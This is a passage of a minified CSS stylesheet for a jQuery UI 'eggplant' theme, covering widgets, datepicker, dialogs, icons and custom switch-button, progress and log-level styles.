2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/eggplant/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #dcd9de;-webkit-border-radius:4px}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #dcd9de}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/eggplant/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;-webkit-border-radius:4px;overflow:hidden;border:1px solid #dcd9de}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #dcd9de;-webkit-border-radius:4px}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #dcd9de}.ui-widget-content{border:1px solid #7e7783;background:#3d3644 url(assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png) 50% top repeat-x;color:#fff}.ui-widget-content a{color:#fff}.ui-widget-header{border:1px solid #231d2b;background:#30273a url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_25_30273a_1x100.png) 50% 50% repeat-x;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #dcd9de;background:#dcd9de url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_dcd9de_1x100.png) 50% 50% repeat-x;font-weight:700;color:#665874}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#665874;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #d1c5d8;background:#eae6ea url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_eae6ea_1x100.png) 50% 50% repeat-x;font-weight:700;color:#734d99}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#734d99;text-decoration:none}.ui-visual-focus{box-shadow:0 0 3px 1px rgb(94,158,214)}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #7e7783;background:#5f5964 url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_45_5f5964_1x100.png) 50% 50% repeat-x;font-weight:700;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#7e7783;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #ffdb1f;background:#fafafa;color:#333}.ui-state-checked{border:1px solid #ffdb1f;background:#fafafa}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#333}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #994d53;background:#994d53;color:#fff}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#fff}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_ffffff_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_a8a3ae_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_454545_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_8d78a5_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_ebccce_256x240.png)}.ui-button .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_8d78a5_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px!important}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:6px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:6px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:6px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:6px}.ui-widget-overlay{background:#eee;opacity:.8;filter:Alpha(Opacity=80)}.ui-widget-shadow{-webkit-box-shadow:-4px -4px 4px #aaa}.hourglass{background:url(assets/jqueryui/eggplant/images/hourglass-pink.gif)}.progress-val{position:absolute;font-weight:700;color:#fff;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 0 0}.header-label{font-size:10pt;white-space:pre}.header-label.off{color:#806e91;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.header-label.on{color:#fff;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.switch-button-label{float:left;font-size:10pt;cursor:pointer;white-space:pre}.switch-button-label.off{color:#806e91;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.switch-button-label.on{color:#fff;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.switch-button-background{float:left;position:relative;background:#eae6ea;border:1px solid #eae6ea;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;border:1px solid #eae6ea;background:#665874}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.icon{vertical-align:middle!important;margin-top:-0.25em!important;margin-right:0.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png)!important}.intro-framed-textbox{border:1px solid rgb(126,119,131);-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em 5em;padding:.2em .2em .2em .2em}.log-info{font-size:14px;font-weight:700;color:#fff!important}.log-warning{font-size:14px;font-weight:700;color:#ff9900!important;text-shadow:-1px -1px 0 #000,0 -1px 0 #000,1px -1px 0 #000,1px 0 0 #000,1px 1px 0 #000,0 1px 0 #000,-1px 1px 0 #000,-1px 0 0 #000}.log-error{font-size:14px;font-weight:700;color:#ea0202!important;text-shadow:-1px -1px 0 #000,0 -1px 0 #000,1px -1px 0 #000,1px 0 0 #000,1px 1px 0 #000,0 1px 0 #000,-1px 1px 0 #000,-1px 0 0 #000}.log-debug{font-size:14px;font-weight:700;color:#feff5a!important;text-shadow:-1px -1px 0 #000,0 -1px 0 #000,1px -1px 0 #000,1px 0 0 #000,1px 1px 0 #000,0 1px 0 #000,-1px 1px 0 #000,-1px 0 0 #000}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;border:1px solid #7e7783;background:#3d3644 url(assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png) 50% top 